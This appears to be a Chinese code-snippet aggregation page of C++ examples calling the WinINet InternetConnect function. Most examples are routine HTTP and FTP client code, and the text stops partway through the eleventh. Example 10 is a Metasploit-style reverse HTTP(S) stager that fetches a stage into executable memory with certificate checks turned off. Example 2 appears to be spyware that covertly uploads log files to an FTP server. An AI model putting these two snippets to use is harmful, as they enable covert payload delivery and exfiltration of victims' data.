本文整理汇总了C++中InternetConnect函数的典型用法代码示例。如果您正苦于以下问题:C++ InternetConnect函数的具体用法?C++ InternetConnect怎么用?C++ InternetConnect使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了InternetConnect函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: memset
CNetRequestImpl::CNetRequestImpl(CNetRequest* pParent, const char* method, const String& strUrl)
{
m_pParent = pParent;
m_pParent->m_pCurNetRequestImpl = this;
pszErrFunction = NULL;
hInet = NULL, hConnection = NULL, hRequest = NULL;
memset(&uri, 0, sizeof(uri) );
m_strUrl = strUrl;
CAtlStringW strUrlW(strUrl.c_str());
LOG(INFO) + "Method: " + method + ";Url: " + strUrl;
do
{
if ( !isLocalHost(strUrl.c_str()) && !SetupInternetConnection(strUrlW) )
{
pszErrFunction = L"SetupInternetConnection";
break;
}
hInet = InternetOpen(_T("rhodes-wm"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL );
if ( !hInet )
{
pszErrFunction = L"InternetOpen";
break;
}
DWORD dwUrlLength = 1024;
CAtlStringW strCanonicalUrlW;
if ( !InternetCanonicalizeUrl( strUrlW, strCanonicalUrlW.GetBuffer(dwUrlLength), &dwUrlLength, 0) )
{
pszErrFunction = _T("InternetCanonicalizeUrl");
break;
}
strCanonicalUrlW.ReleaseBuffer();
alloc_url_components( &uri, strCanonicalUrlW );
if( !InternetCrackUrl( strCanonicalUrlW, strCanonicalUrlW.GetLength(), 0, &uri ) )
{
pszErrFunction = L"InternetCrackUrl";
break;
}
hConnection = InternetConnect( hInet, uri.lpszHostName, uri.nPort, _T("anonymous"), NULL,
INTERNET_SERVICE_HTTP, 0, 0 );
if ( !hConnection )
{
pszErrFunction = L"InternetConnect";
break;
}
strReqUrlW = uri.lpszUrlPath;
strReqUrlW += uri.lpszExtraInfo;
hRequest = HttpOpenRequest( hConnection, CAtlStringW(method), strReqUrlW, NULL, NULL, NULL,
INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_CACHE_WRITE, NULL );
if ( !hRequest )
{
pszErrFunction = L"HttpOpenRequest";
break;
}
}while(0);
}
示例2: UploadLog
inline char UploadLog(unsigned long int no)
{
/* this function will transfer the log
files one by one to the FTP server */
static BOOL semaphore = FALSE;
if(semaphore == TRUE)
return 0;
else
semaphore = TRUE;
if(InternetCheckConnection(InternetCheckMask,FLAG_ICC_FORCE_CONNECTION,0))
{
/* connect me to the internet */
HINTERNET hNet = InternetOpen(AppName2, PRE_CONFIG_INTERNET_ACCESS,
NULL, INTERNET_INVALID_PORT_NUMBER, 0 );
if(hNet != NULL)
{
/* connect me to the remote FTP Server */
HINTERNET hFtp = InternetConnect(hNet,FtpServer,
INTERNET_DEFAULT_FTP_PORT,FtpUserName,FtpPassword,
INTERNET_SERVICE_FTP, 0, 0);
if(hFtp != NULL)
{
/* successful connection to FTP server established */
char local_file[STR_SZ1], remote_file[STR_SZ1];
sprintf(local_file,"%s%lX%s",BaseDirectory(),no,LocLogFileExt);
sprintf(remote_file,"%lu-%lX%s",GetCompId(hFtp),no,SrvLogFileExt);
//MessageBox(NULL,local_file,remote_file,0);
if(FtpPutFile(hFtp, local_file, remote_file, 0, 0))
{
/* file transfer OK */
InternetCloseHandle(hFtp);
InternetCloseHandle(hNet);
semaphore = FALSE;
return 1;
}
else {
/* file transfer failed */
InternetCloseHandle(hFtp);
InternetCloseHandle(hNet);
semaphore = FALSE;
return 0;
}
}
else {
/* connection to FTP server failed */
InternetCloseHandle(hNet);
semaphore = FALSE;
return 0;
}
}
else {
/* connection to internet failed */
semaphore = FALSE;
return 0;
}
}
/* internet connection is not available
either because the person is not online
or because a firewall has blocked me */
semaphore = FALSE;
return 0;
}
示例3: check_crashdump
/* Crashdumps handling */
static void check_crashdump(void)
{
FILE * fd = _wfopen ( crashdump_path, L"r, ccs=UTF-8" );
if( !fd )
return;
fclose( fd );
int answer = MessageBox( NULL, L"Ooops: VLC media player just crashed.\n" \
"Would you like to send a bug report to the developers team?",
L"VLC crash reporting", MB_YESNO);
if(answer == IDYES)
{
HINTERNET Hint = InternetOpen(L"VLC Crash Reporter",
INTERNET_OPEN_TYPE_PRECONFIG, NULL,NULL,0);
if(Hint)
{
HINTERNET ftp = InternetConnect(Hint, L"crash.videolan.org",
INTERNET_DEFAULT_FTP_PORT, NULL, NULL,
INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
if(ftp)
{
SYSTEMTIME now;
GetSystemTime(&now);
wchar_t remote_file[MAX_PATH];
_snwprintf(remote_file, MAX_PATH,
L"/crashes-win32/%04d%02d%02d%02d%02d%02d",
now.wYear, now.wMonth, now.wDay, now.wHour,
now.wMinute, now.wSecond );
if( FtpPutFile( ftp, crashdump_path, remote_file,
FTP_TRANSFER_TYPE_BINARY, 0) )
MessageBox( NULL, L"Report sent correctly. Thanks a lot " \
"for the help.", L"Report sent", MB_OK);
else
MessageBox( NULL, L"There was an error while "\
"transferring the data to the FTP server.\n"\
"Thanks a lot for the help.",
L"Report sending failed", MB_OK);
InternetCloseHandle(ftp);
}
else
{
MessageBox( NULL, L"There was an error while connecting to " \
"the FTP server. "\
"Thanks a lot for the help.",
L"Report sending failed", MB_OK);
fprintf(stderr,"Can't connect to FTP server 0x%08lu\n",
(unsigned long)GetLastError());
}
InternetCloseHandle(Hint);
}
else
{
MessageBox( NULL, L"There was an error while connecting to the Internet.\n"\
"Thanks a lot for the help anyway.",
L"Report sending failed", MB_OK);
}
}
_wremove(crashdump_path);
}
示例4: GetTickCount
BOOL CBitprintsDownloader::ExecuteRequest()
{
const DWORD tTime = GetTickCount();
theApp.Message( MSG_DEBUG | MSG_FACILITY_OUTGOING, L"[Bitprints] Sent request: %s", (LPCTSTR)m_sURL );
CString strHost = m_sURL;
int nPos = strHost.Find( L"http://" );
if ( nPos != 0 ) return FALSE;
strHost = strHost.Mid( 7 );
nPos = strHost.Find( L'/' );
if ( nPos < 0 ) return FALSE;
CString strPath = strHost.Mid( nPos );
strHost = strHost.Left( nPos );
nPos = strHost.Find( L':' );
int nPort = INTERNET_DEFAULT_HTTP_PORT;
if ( nPos > 0 )
{
_stscanf( strHost.Mid( nPos + 1 ), L"%i", &nPort );
strHost = strHost.Left( nPos );
}
if ( m_hSession == NULL )
{
m_hSession = InternetConnect( m_hInternet, strHost, INTERNET_PORT( nPort ),
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if ( m_hSession == NULL )
return FALSE;
}
m_hRequest = HttpOpenRequest( m_hSession, L"GET", strPath, NULL, NULL, NULL,
INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0 );
if ( m_hRequest == NULL )
{
if ( m_hSession ) InternetCloseHandle( m_hSession );
m_hSession = InternetConnect( m_hInternet, strHost, INTERNET_PORT( nPort ),
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if ( m_hSession == NULL ) return FALSE;
m_hRequest = HttpOpenRequest( m_hSession, L"GET", strPath, NULL, NULL, NULL,
INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0 );
if ( m_hRequest == NULL ) return FALSE;
}
if ( ! HttpSendRequest( m_hRequest, NULL, 0, NULL, 0 ) )
return FALSE;
TCHAR szStatusCode[32] = {};
DWORD nStatusCode = 0, nStatusLen = 32;
if ( ! HttpQueryInfo( m_hRequest, HTTP_QUERY_STATUS_CODE, szStatusCode, &nStatusLen, NULL ) )
return FALSE;
if ( _stscanf( szStatusCode, L"%lu", &nStatusCode ) != 1 ||
nStatusCode < 200 || nStatusCode > 299 )
return FALSE;
LPBYTE pResponse = NULL;
DWORD nRemaining, nResponse = 0;
while ( InternetQueryDataAvailable( m_hRequest, &nRemaining, 0, 0 ) && nRemaining > 0 )
{
BYTE* pNewResponse = (BYTE*)realloc( pResponse, nResponse + nRemaining );
if ( ! pNewResponse )
{
free( pResponse );
return FALSE;
}
pResponse = pNewResponse;
InternetReadFile( m_hRequest, pResponse + nResponse, nRemaining, &nRemaining );
nResponse += nRemaining;
}
if ( nRemaining )
{
free( pResponse );
return FALSE;
}
m_sResponse.Empty();
LPTSTR pszResponse = m_sResponse.GetBuffer( nResponse );
for ( nStatusCode = 0; nStatusCode < nResponse; nStatusCode++ )
pszResponse[ nStatusCode ] = (TCHAR)pResponse[ nStatusCode ];
m_sResponse.ReleaseBuffer( nResponse );
free( pResponse );
if ( m_hRequest ) InternetCloseHandle( m_hRequest );
m_hRequest = NULL;
m_nDelay = ( GetTickCount() - tTime ) * 2;
return TRUE;
//.........这里部分代码省略.........
示例5: test_connect
static void test_connect(HINTERNET hInternet)
{
HINTERNET hFtp;
/* Try a few username/password combinations:
* anonymous : NULL
* NULL : [email protected]
* NULL : NULL
* "" : [email protected]
* "" : NULL
*/
SetLastError(0xdeadbeef);
hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "anonymous", NULL, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
if (hFtp) /* some servers accept an empty password */
{
ok ( GetLastError() == ERROR_SUCCESS, "ERROR_SUCCESS, got %d\n", GetLastError());
InternetCloseHandle(hFtp);
}
else
ok ( GetLastError() == ERROR_INTERNET_LOGIN_FAILURE,
"Expected ERROR_INTERNET_LOGIN_FAILURE, got %d\n", GetLastError());
SetLastError(0xdeadbeef);
hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, NULL, "[email protected]", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ok ( hFtp == NULL, "Expected InternetConnect to fail\n");
ok ( GetLastError() == ERROR_INVALID_PARAMETER,
"Expected ERROR_INVALID_PARAMETER, got %d\n", GetLastError());
SetLastError(0xdeadbeef);
hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "", "[email protected]",
INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ok(!hFtp, "Expected InternetConnect to fail\n");
ok(GetLastError() == ERROR_INVALID_PARAMETER,
"Expected ERROR_INVALID_PARAMETER, got %d\n", GetLastError());
/* Using a NULL username and password will be interpreted as anonymous ftp. The username will be 'anonymous' the password
* is created via some simple heuristics (see dlls/wininet/ftp.c).
* On Wine this registry key is not set by default so (NULL, NULL) will result in anonymous ftp with an (most likely) not
* accepted password (the username).
* If the first call fails because we get an ERROR_INTERNET_LOGIN_FAILURE, we try again with a (more) correct password.
*/
SetLastError(0xdeadbeef);
hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, NULL, NULL, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
if (!hFtp && (GetLastError() == ERROR_INTERNET_LOGIN_FAILURE))
{
/* We are most likely running on a clean Wine install or a Windows install where the registry key is removed */
SetLastError(0xdeadbeef);
hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "anonymous", "[email protected]", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
}
ok ( hFtp != NULL, "InternetConnect failed : %d\n", GetLastError());
ok ( GetLastError() == ERROR_SUCCESS,
"ERROR_SUCCESS, got %d\n", GetLastError());
SetLastError(0xdeadbeef);
hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "", NULL,
INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
if (!hFtp)
{
ok(GetLastError() == ERROR_INTERNET_LOGIN_FAILURE,
"Expected ERROR_INTERNET_LOGIN_FAILURE, got %d\n", GetLastError());
}
else
{
ok(GetLastError() == ERROR_SUCCESS,
"Expected ERROR_SUCCESS, got %d\n", GetLastError());
}
}
示例6: GetTickCount
BOOL CBitziDownloader::ExecuteRequest()
{
DWORD nTime = GetTickCount();
int nPos, nPort = INTERNET_DEFAULT_HTTP_PORT;
CString strHost, strPath;
strHost = m_sURL;
nPos = strHost.Find( _T("http://") );
if ( nPos != 0 ) return FALSE;
strHost = strHost.Mid( 7 );
nPos = strHost.Find( '/' );
if ( nPos < 0 ) return FALSE;
strPath = strHost.Mid( nPos );
strHost = strHost.Left( nPos );
nPos = strHost.Find( ':' );
if ( nPos > 0 )
{
_stscanf( strHost.Mid( nPos + 1 ), _T("%i"), &nPort );
strHost = strHost.Left( nPos );
}
if ( m_hSession == NULL )
{
m_hSession = InternetConnect( m_hInternet, strHost, nPort,
NULL, NULL, INTERNET_SERVICE_HTTP , 0, 0 );
if ( m_hSession == NULL ) return FALSE;
}
m_hRequest = HttpOpenRequest( m_hSession, _T("GET"), strPath, NULL, NULL, NULL,
INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_COOKIES, 0 );
if ( m_hRequest == NULL )
{
if ( m_hSession != NULL ) InternetCloseHandle( m_hSession );
m_hSession = InternetConnect( m_hInternet, strHost, nPort,
NULL, NULL, INTERNET_SERVICE_HTTP , 0, 0 );
if ( m_hSession == NULL ) return FALSE;
m_hRequest = HttpOpenRequest( m_hSession, _T("GET"), strPath, NULL, NULL, NULL,
INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_COOKIES, 0 );
if ( m_hRequest == NULL ) return FALSE;
}
if ( ! HttpSendRequest( m_hRequest, NULL, 0, NULL, 0 ) ) return FALSE;
TCHAR szStatusCode[32];
DWORD nStatusCode = 0, nStatusLen = 32;
if ( ! HttpQueryInfo( m_hRequest, HTTP_QUERY_STATUS_CODE, szStatusCode,
&nStatusLen, NULL ) ) return FALSE;
_stscanf( szStatusCode, _T("%u"), &nStatusCode );
if ( nStatusCode < 200 || nStatusCode > 299 ) return FALSE;
LPBYTE pResponse = NULL;
DWORD nRemaining, nResponse = 0;
while ( InternetQueryDataAvailable( m_hRequest, &nRemaining, 0, 0 ) && nRemaining > 0 )
{
pResponse = (LPBYTE)realloc( pResponse, nResponse + nRemaining );
InternetReadFile( m_hRequest, pResponse + nResponse, nRemaining, &nRemaining );
nResponse += nRemaining;
}
if ( nRemaining )
{
free( pResponse );
return FALSE;
}
m_sResponse.Empty();
LPTSTR pszResponse = m_sResponse.GetBuffer( nResponse );
for ( nStatusCode = 0 ; nStatusCode < nResponse ; nStatusCode++ )
pszResponse[ nStatusCode ] = (TCHAR)pResponse[ nStatusCode ];
m_sResponse.ReleaseBuffer( nResponse );
free( pResponse );
if ( m_hRequest != NULL ) InternetCloseHandle( m_hRequest );
m_hRequest = NULL;
m_nDelay = ( GetTickCount() - nTime ) * 2;
return TRUE;
}
示例7: bSuccess
bool CHttpClient::Request(const TCHAR * pURL)
{
bool bSuccess(false);
if (pURL != NULL) {
URL_COMPONENTS urlCom = {sizeof(URL_COMPONENTS),
NULL, 1, INTERNET_SCHEME_DEFAULT,
NULL, 1, 0,
NULL, 1,
NULL, 1,
NULL, 1,
NULL, 1,
};
InternetCrackUrl(pURL, lstrlen(pURL), 0, &urlCom);
mServer = urlCom.lpszHostName ? lstring(urlCom.lpszHostName, urlCom.dwHostNameLength) : pURL;
mPort = urlCom.nPort;
if (urlCom.lpszUrlPath)
mPath = lstring(urlCom.lpszUrlPath, urlCom.dwUrlPathLength);
if (urlCom.lpszUserName)
mUserName = lstring(urlCom.lpszUserName, urlCom.dwUserNameLength);
if (urlCom.lpszPassword)
mPassword = lstring(urlCom.lpszPassword, urlCom.dwPasswordLength);
SetHttps(urlCom.nScheme == INTERNET_SCHEME_HTTPS);
}
HINTERNET hi = InternetOpen(mUserAgent.c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hi != NULL) {
if (!mPort)
mPort = IsHttps() ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
HINTERNET hc = InternetConnect(hi, mServer.c_str(), mPort,
GET_PTR_FROM_STR(mUserName), GET_PTR_FROM_STR(mPassword),
INTERNET_SERVICE_HTTP, 0, 0);
if (hc != NULL) {
const TCHAR *rgpszAcceptTypes[] = { _T("*/*"), NULL};
DWORD dwDword(INTERNET_FLAG_NO_UI);
if (IsHttps())
dwDword |= INTERNET_FLAG_SECURE;
HINTERNET http = HttpOpenRequest(hc, GET_PTR_FROM_STR(mhttpVerb), mPath.c_str(), NULL, NULL, rgpszAcceptTypes,
dwDword, NULL);
if (http != NULL) {
if (HttpSendRequest(http, GET_PTR_FROM_STR(mhttpHeaders), (DWORD)mhttpHeaders.length(), mDataToSend, (DWORD)mDataToSend.DataSize())) {
int statusCode(0);
{
wchar_t responseText[1024]; // change to wchar_t for unicode
DWORD responseTextSize = sizeof(responseText);
//Check existence of page (for 404 error)
if (!HttpQueryInfo(http,
HTTP_QUERY_STATUS_CODE,
&responseText,
&responseTextSize,
NULL))
statusCode = GetLastError();
else
STLUtils::ChangeType(lstring(responseText), statusCode);
}
BinaryData inDataRead(NULL, 1024*1024*4); // 4MB
while (InternetReadFile(http, inDataRead, (DWORD)inDataRead.Size(), &dwDword) && dwDword > 0)
{
bSuccess = true;
inDataRead.SetDataSize(dwDword);
if (!ContentHandler(inDataRead))
break;
}
}
InternetCloseHandle(http);
}
InternetCloseHandle(hc);
}
InternetCloseHandle(hi);
}
return bSuccess;
}
示例8: _T
BOOL CHttpUploadFileProc::HttpUploadFile()
{
if (NULL == m_threadParam.szFileName
|| _T('\0') == m_threadParam.szFileName[0])
return FALSE;
BOOL bRet;
LPCTSTR lpszAgent = _T("eMule Verycd");
LPCTSTR lpszServerName = _T("crash.emule.org.cn");
LPCTSTR lpszObjectName = _T("/report");
CFile file;
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;
NotifyReceiver(P_HUF_OPEN_FILE, 0);
if (!file.Open(m_threadParam.szFileName, CFile::modeRead | CFile::shareDenyWrite))
{
NotifyReceiver(E_HUF_OPEN_FILE_FAILED, 0);
return FALSE;
}
NotifyReceiver(P_HUF_PROGRESS, 5);
bRet = TRUE;
do {
if (IsTerminated()) goto Label_Quit;
NotifyReceiver(P_HUF_INTERNET_OPEN, 0);
hSession = InternetOpen(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL, 0);
if(NULL == hSession)
{
NotifyReceiver(E_HUF_INTERNET_OPEN_FAILED, 0);
bRet = FALSE;
break;
}
if (IsTerminated()) goto Label_Quit;
NotifyReceiver(P_HUF_INTERNET_CONNET, 0);
hConnect = InternetConnect(hSession, lpszServerName, INTERNET_DEFAULT_HTTP_PORT,
NULL, NULL, INTERNET_SERVICE_HTTP,NULL, NULL);
if (NULL == hConnect)
{
NotifyReceiver(E_HUF_INTERNET_CONNECT_FAILED, 0);
bRet = FALSE;
break;
}
if (IsTerminated()) goto Label_Quit;
NotifyReceiver(P_HUF_HTTP_OPEN_REQUEST, 0);
hRequest = HttpOpenRequest(hConnect, "POST", lpszObjectName,
NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (NULL == hRequest)
{
NotifyReceiver(E_HUF_HTTP_OPEN_REQUEST_FAILED, 0);
bRet = FALSE;
break;
}
NotifyReceiver(P_HUF_PROGRESS, 10);
if (IsTerminated()) goto Label_Quit;
if (!UseHttpSendReqEx(hRequest, file))
{
NotifyReceiver(E_HUF_SEND_FILE_FAILED, 0);
bRet = FALSE;
}
} while(0);
if (IsTerminated()) goto Label_Quit;
if (bRet)
{
NotifyReceiver(P_HUF_PROGRESS, 100);
NotifyReceiver(S_HUF_FINISHED, 0);
}
Label_Quit:
;
if (NULL != hRequest)
{
InternetCloseHandle(hRequest);
hRequest = NULL;
}
if (NULL != hConnect)
{
InternetCloseHandle(hConnect);
hConnect = NULL;
}
if (NULL != hSession)
{
InternetCloseHandle(hSession);
hSession = NULL;
}
//.........这里部分代码省略.........
示例9: sizeof
DWORD CUpdateDownloader::DownloadFile(const CString& url, const CString& dest, bool showProgress) const
{
CString hostname;
CString urlpath;
URL_COMPONENTS urlComponents = {0};
urlComponents.dwStructSize = sizeof(urlComponents);
urlComponents.lpszHostName = hostname.GetBufferSetLength(INTERNET_MAX_HOST_NAME_LENGTH);
urlComponents.dwHostNameLength = INTERNET_MAX_HOST_NAME_LENGTH;
urlComponents.lpszUrlPath = urlpath.GetBufferSetLength(INTERNET_MAX_PATH_LENGTH);
urlComponents.dwUrlPathLength = INTERNET_MAX_PATH_LENGTH;
if (!InternetCrackUrl(url, url.GetLength(), 0, &urlComponents))
return GetLastError();
hostname.ReleaseBuffer();
urlpath.ReleaseBuffer();
if (m_bForce)
DeleteUrlCacheEntry(url);
BOOL bTrue = TRUE;
BOOL enableDecoding = InternetSetOption(hOpenHandle, INTERNET_OPTION_HTTP_DECODING, &bTrue, sizeof(bTrue));
bool isHttps = urlComponents.nScheme == INTERNET_SCHEME_HTTPS;
HINTERNET hConnectHandle = InternetConnect(hOpenHandle, hostname, urlComponents.nPort, nullptr, nullptr, isHttps ? INTERNET_SCHEME_HTTP : urlComponents.nScheme, 0, 0);
if (!hConnectHandle)
{
DWORD err = GetLastError();
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on InternetConnect: %d\n"), (LPCTSTR)url, err);
return err;
}
SCOPE_EXIT{ InternetCloseHandle(hConnectHandle); };
HINTERNET hResourceHandle = HttpOpenRequest(hConnectHandle, nullptr, urlpath, nullptr, nullptr, nullptr, INTERNET_FLAG_KEEP_CONNECTION | (isHttps ? INTERNET_FLAG_SECURE : 0) | (m_bForce ? INTERNET_FLAG_HYPERLINK : 0), 0);
if (!hResourceHandle)
{
DWORD err = GetLastError();
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on HttpOpenRequest: %d\n"), (LPCTSTR)url, err);
return err;
}
SCOPE_EXIT{ InternetCloseHandle(hResourceHandle); };
if (enableDecoding)
HttpAddRequestHeaders(hResourceHandle, L"Accept-Encoding: gzip, deflate\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD);
{
resend:
BOOL httpsendrequest = HttpSendRequest(hResourceHandle, nullptr, 0, nullptr, 0);
DWORD dwError = InternetErrorDlg(m_hWnd, hResourceHandle, ERROR_SUCCESS, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, nullptr);
if (dwError == ERROR_INTERNET_FORCE_RETRY)
goto resend;
else if (!httpsendrequest)
{
DWORD err = GetLastError();
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed: %d, %d\n"), (LPCTSTR)url, httpsendrequest, err);
return err;
}
}
DWORD contentLength = 0;
{
DWORD length = sizeof(contentLength);
HttpQueryInfo(hResourceHandle, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&contentLength, &length, NULL);
}
{
DWORD statusCode = 0;
DWORD length = sizeof(statusCode);
if (!HttpQueryInfo(hResourceHandle, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&statusCode, &length, NULL) || statusCode != 200)
{
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s returned %d\n"), (LPCTSTR)url, statusCode);
if (statusCode == 404)
return ERROR_FILE_NOT_FOUND;
else if (statusCode == 403)
return ERROR_ACCESS_DENIED;
return (DWORD)INET_E_DOWNLOAD_FAILURE;
}
}
CFile destinationFile;
if (!destinationFile.Open(dest, CFile::modeCreate | CFile::modeWrite))
{
return ERROR_ACCESS_DENIED;
}
DWORD downloadedSum = 0; // sum of bytes downloaded so far
do
{
DWORD size; // size of the data available
if (!InternetQueryDataAvailable(hResourceHandle, &size, 0, 0))
{
DWORD err = GetLastError();
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on InternetQueryDataAvailable: %d\n"), (LPCTSTR)url, err);
return err;
}
DWORD downloaded; // size of the downloaded data
auto buff = std::make_unique<TCHAR[]>(size + 1);
if (!InternetReadFile(hResourceHandle, (LPVOID)buff.get(), size, &downloaded))
{
DWORD err = GetLastError();
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on InternetReadFile: %d\n"), (LPCTSTR)url, err);
return err;
//.........这里部分代码省略.........
示例10: rev_http
unsigned char* rev_http(char* host, char* port, bool WithSSL){
// Steps:
// 1) Calculate a random URI->URL with `valid` checksum; that is needed for the multi/handler to distinguish and identify various framework related requests "i.e. coming from stagers" ... we'll be asking for checksum==92 "INITM", which will get the patched stage in return.
// 2) Decide about whether we're reverse_http or reverse_https, and set flags appropriately.
// 3) Prepare buffer for the stage with WinInet: InternetOpen, InternetConnect, HttpOpenRequest, HttpSendRequest, InternetReadFile.
// 4) Return pointer to the populated buffer to caller function.
//***************************************************************//
// Variables
char URI[5] = { 0 }; //4 chars ... it can be any length actually.
char FullURL[6] = { 0 }; // FullURL is ("/" + URI)
unsigned char* buffer = nullptr;
DWORD flags = 0;
int dwSecFlags = 0;
// Step 1: Calculate a random URI->URL with `valid` checksum; that is needed for the multi/handler to distinguish and identify various framework related requests "i.e. coming from stagers" ... we'll be asking for checksum==92 "INITM", which will get the patched stage in return.
int checksum = 0;
srand(GetTickCount());
while (true) //Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
{
gen_random(URI, 4); //Generate a 4 char long random string ... it could be any length actually, but 4 sounds just fine.
checksum = TextChecksum8(URI); //Get the 8-bit checksum of the random value
if (checksum == 92) //If the checksum == 92, it will be handled by the multi/handler correctly as a "INITM" and will send over the stage.
{
break; // We found a random string that checksums to 98
}
}
strcpy(FullURL, "/");
strcat(FullURL, URI);
// 2) Decide about whether we're reverse_http or reverse_https, and set flags appropriately.
if (WithSSL) {
flags = (INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA);
}
else {
flags = (INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI);
}
// 3) Prepare buffer for the stage with WinInet:
// InternetOpen, InternetConnect, HttpOpenRequest, HttpSendRequest, InternetReadFile.
// 3.1: HINTERNET InternetOpen(_In_ LPCTSTR lpszAgent, _In_ DWORD dwAccessType, _In_ LPCTSTR lpszProxyName, _In_ LPCTSTR lpszProxyBypass, _In_ DWORD dwFlags);
HINTERNET hInternetOpen = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
if (hInternetOpen == NULL){
err_exit("InternetOpen()");
}
// 3.2: InternetConnect
HINTERNET hInternetConnect = InternetConnect(hInternetOpen, host, atoi(port), NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
if (hInternetConnect == NULL){
err_exit("InternetConnect()");
}
// 3.3: HttpOpenRequest
HINTERNET hHTTPOpenRequest = HttpOpenRequest(hInternetConnect, "GET", FullURL, NULL, NULL, NULL, flags, NULL);
if (hHTTPOpenRequest == NULL){
err_exit("HttpOpenRequest()");
}
// 3.4: if (SSL)->InternetSetOption
if (WithSSL){
dwSecFlags = SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_REVOCATION;
InternetSetOption(hHTTPOpenRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecFlags, sizeof(dwSecFlags));
}
// 3.5: HttpSendRequest
if (!HttpSendRequest(hHTTPOpenRequest, NULL, NULL, NULL, NULL))
{
err_exit("HttpSendRequest()");
}
// 3.6: VirtualAlloc enough memory for the stage ... 4MB are more than enough
buffer = (unsigned char*)VirtualAlloc(NULL, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 3.7: InternetReadFile: keep reading till nothing is left.
BOOL bKeepReading = true;
DWORD dwBytesRead = -1;
DWORD dwBytesWritten = 0;
while (bKeepReading && dwBytesRead != 0)
{
bKeepReading = InternetReadFile(hHTTPOpenRequest, (buffer + dwBytesWritten), 4096, &dwBytesRead);
dwBytesWritten += dwBytesRead;
}
// 4) Return pointer to the populated buffer to caller function.
return buffer;
}
示例11: remote_data
char* remote_data(LPWSTR verb, char* url, char* body, size_t body_size,
bool bGetHeaders, bool bGetRawData = false, bool bCheckSession = false, DWORD* pdwDataSize = NULL) {
char *cstr = NULL;
char *session = NULL;
std::string data = "";
//CAtlStringA data;
char sBuf[1024];
DWORD dwBytesRead = 0;
LPWSTR urlw;
HINTERNET hInet, hConnection, hRequest;
LPTSTR pszFunction = NULL;
if ( url==NULL || strlen(url)==0 ) return NULL;
urlw = wce_mbtowc(url);
hInet = hConnection = hRequest = NULL;
do {
// Don't make a connection attempt if there is no session
session = get_db_session(load_source_url());
if ( bCheckSession && !session && !strstr(url, "clientcreate") ) {
break;
}
if (session) free(session);
if( !SetupInternetConnection(urlw) ) {
break;
}
hInet = InternetOpen(_T("rhodes-wm"),
